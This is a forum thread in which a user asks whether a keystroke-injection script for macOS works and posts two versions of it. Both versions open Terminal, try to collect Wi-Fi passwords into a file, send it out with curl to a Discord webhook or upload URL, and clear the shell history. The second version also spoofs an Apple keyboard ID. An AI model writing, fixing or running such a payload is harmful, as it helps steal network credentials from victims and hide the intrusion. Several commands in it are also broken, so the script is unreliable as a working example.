Jump to content

Wifi Creds MacOS


bobyrossy

Recommended Posts

I am trying to create a script for macOS and have no clue if it would work since I do not have a macOS computer, I know this sounds suspicious but I am just seeing if this it right.

REM Open Terminal
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 1000

REM Extract Wi-Fi Passwords
STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do
    /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt
done
ENTER

REM Change Directory and Upload File
DELAY 500
GUI SPACE
DELAY 200
STRING Terminal
ENTER
DELAY 1000
STRING cd /usr/sbin/networksetup
ENTER
DELAY 500
STRING curl -F "file=@wifi-passwords.txt" DISCORDWEBHOOK
ENTER

REM Clear Terminal History
STRING history -c
ENTER
 

Link to comment
Share on other sites

I changed the script a bit, will this work better? 
 

ID 05ac:021e Apple:Keyboard
REM Open Terminal
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 1000

REM Run Commands in Terminal
STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do
    /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt
done
ENTER
STRING curl -F "file=@wifi-passwords.txt" https://example.com/upload
ENTER
STRING history -c
ENTER

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...